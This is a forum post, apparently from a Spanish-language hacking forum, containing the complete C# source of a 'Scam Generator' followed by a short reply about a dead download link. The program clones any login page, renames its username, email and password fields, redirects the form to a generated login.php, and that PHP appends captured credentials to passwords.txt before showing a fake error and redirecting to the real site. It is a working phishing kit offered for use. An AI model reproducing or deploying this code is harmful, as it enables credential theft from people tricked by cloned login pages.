0 Usuarios y 1 Visitante están viendo este tema.
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Net;using System.IO;using System.Diagnostics;using System.Text.RegularExpressions;namespace ConsoleApplication3{ class Program { static void Main() { intro(); startApp(); } private static string startApp() { Console.Title = "Scam Generator by HckDrk V. 0.1"; string url = getUrl(); string codigo = getCodigo(url); saveFile(CodeReplacement(codigo), url); return Reset(); } private static string getUrl() { Console.Write("Enter a URL: "); string url = Console.ReadLine(); Uri uriResult; if (Uri.TryCreate(url, UriKind.Absolute, out uriResult) && (uriResult.Scheme == Uri.UriSchemeHttp || uriResult.Scheme == Uri.UriSchemeHttps)) { return url; } else { Console.WriteLine("Error: The url is invalid"); return getUrl(); } } private static String getCodigo(String url) { try { HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse miPeticionWeb = (HttpWebResponse)myHttpWebRequest.GetResponse(); Stream datosRecibidos = miPeticionWeb.GetResponseStream(); Encoding codificacion = System.Text.Encoding.GetEncoding("utf-8"); StreamReader readStream = new StreamReader(datosRecibidos, codificacion); return (readStream.ReadToEnd()); } catch (Exception e) { Console.WriteLine("Exception: {0}", e.Message); return startApp(); } } private static string saveFile(string contenido, string url) { try { Console.Write("Enter the name of the file: "); string archivo = Console.ReadLine(); if (archivo.Trim() == "") { Console.WriteLine("Error: the name can not be empty"); return saveFile(contenido,url); } string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); string path_file = desktopPath + "\\hckdrk_download\\"; string path_file_final = path_file + archivo + "\\"; verifyFolder(path_file); Directory.CreateDirectory(path_file_final); string ruta_archivo = path_file_final + archivo + ".html"; StreamWriter escrito = File.CreateText(ruta_archivo); escrito.Write(contenido); escrito.Flush(); escrito.Close(); string ruta_archivo_php = path_file_final + "login.php"; StreamWriter php = File.CreateText(ruta_archivo_php); php.Write(SetPhp(url)); php.Flush(); php.Close(); Console.WriteLine("File {0}.html saved correctly", archivo); Console.WriteLine("File login.php saved correctly"); openFile(path_file_final); return ""; } catch (Exception e) { Console.WriteLine("Exception: {0}", e.Message); return ""; } } private static string openFile(string ruta_archivo) { Console.Write("Do you want to open the container folder? [Y/n]: "); string abrir = Console.ReadLine(); if (abrir == "Y") { Process.Start(ruta_archivo); return ""; } else if (abrir == "n") { return ""; } else { Console.WriteLine("Error: Option not valid!"); return openFile(ruta_archivo); } } private static string verifyFolder(string dir) { if (!Directory.Exists(dir)) { Console.Write("does not exist directory \"hckdrk_download\", Do you want to create it? [Y/n]: "); string crear_dir = Console.ReadLine(); if (crear_dir == "Y") { Directory.CreateDirectory(dir); Console.WriteLine("The directory was created correctly \"hckdrk_download\" at {0}.", Directory.GetCreationTime(dir)); return ""; } else if (crear_dir == "n") { return startApp(); } else { Console.WriteLine("Error: Option not valid!"); return verifyFolder(dir); } } else { return ""; } } private static string Reset() { Console.WriteLine(""); Console.Write("You want to download another page[Y/n]: "); string nuevo = Console.ReadLine(); if (nuevo == "Y") { return startApp(); } else if (nuevo == "n") { Console.WriteLine("Thank you. Press any key to exit."); Console.WriteLine("So long."); Console.ReadKey(); return ""; } else { Console.WriteLine("Error: Option not valid!"); return Reset(); } } private static string CodeReplacement(string codigo) { string pattern = "<input type=\"text\".*? name=\"(.*?)\" .*?>"; string patternTwo = "<input type=\"password\".*? name=\"(.*?)\" .*?>"; string patternThree = "<input type=\"email\".*? name=\"(.*?)\" .*?>"; string patternForm = "<form .*?>"; //string pattern = "name=\"(.*?)\""; string replacement = "hckdrk_user"; string replacementTwo = "hckdrk_pass"; string replacementForm = "<form method=\"post\" action=\"login.php\">"; //return resultFinal; MatchCollection matches = Regex.Matches(codigo.Replace("\r\n", ""), pattern); MatchCollection matchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo); MatchCollection matchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree); int numberMatches = Regex.Matches(codigo.Replace("\r\n", ""), pattern).Count; int numberOfMatchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo).Count; int numberOfMatchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree).Count; string codigoino = codigo; if (numberMatches <= 0) { Console.WriteLine("operation aborted, input text was not found"); return startApp(); } if (numberOfMatchesTwo <= 0) { Console.WriteLine("operation aborted, input password was not found"); return startApp(); } foreach (Match item in matches) { //for (int i=0;i<item.Groups.Count;i++) { //} codigoino = codigoino.Replace("name=\"" + item.Groups[1].Value + "\"", "name=\"" + replacement + "\""); Console.WriteLine("Set value input text: \"{0}\" to \"{1}\"", item.Groups[1].Value, replacement); } string codigodoso = codigoino; foreach (Match itemTwo in matchesTwo) { //for (int i=0;i<item.Groups.Count;i++) { //} codigodoso = codigodoso.Replace("name=\"" + itemTwo.Groups[1].Value + "\"", "name=\"" + replacementTwo + "\""); Console.WriteLine("Set value input password: \"{0}\" to \"{1}\"", itemTwo.Groups[1].Value, replacementTwo); } string codigothree = codigodoso; foreach (Match itemThree in matchesThree) { //for (int i=0;i<item.Groups.Count;i++) { //} codigothree = codigothree.Replace("name=\"" + itemThree.Groups[1].Value + "\"", "name=\"" + replacement + "\""); Console.WriteLine("Set value input email: \"{0}\" to \"{1}\"", itemThree.Groups[1].Value, replacement); } Regex rgx = new Regex(patternForm); string result = rgx.Replace(codigothree, replacementForm); Console.WriteLine("Change <form> to {0}", replacementForm); return result; } private static string SetPhp(string url) { string codigo = @"<?phperror_reporting(0);$user=$_POST['hckdrk_user'];$pass=$_POST['hckdrk_pass'];@file_put_contents('passwords.txt', 'user: '.$user . ' | Password: '.$pass.PHP_EOL, FILE_APPEND);echo '<h1>Internal Server Error</h1>Please contact [email protected]';"; codigo = codigo + "header('Refresh: 5; url = " + url + "', true, 303);"; codigo = codigo + "?>"; return codigo; } private static void intro() { Console.WriteLine("========================================"); Console.WriteLine("== Welcome to Scams Generator =="); Console.WriteLine("== Powered by HckDrk =="); Console.WriteLine("== Web Site: http://hckdrk.mx =="); Console.WriteLine("== Web Site: http://underc0de.org =="); Console.WriteLine("========================================"); Console.WriteLine(Environment.NewLine); } }}
El link de tu otro post para bajar el programa, ya no funciona. Una lastimaEnviado desde mi SNE-LX3 mediante Tapatalk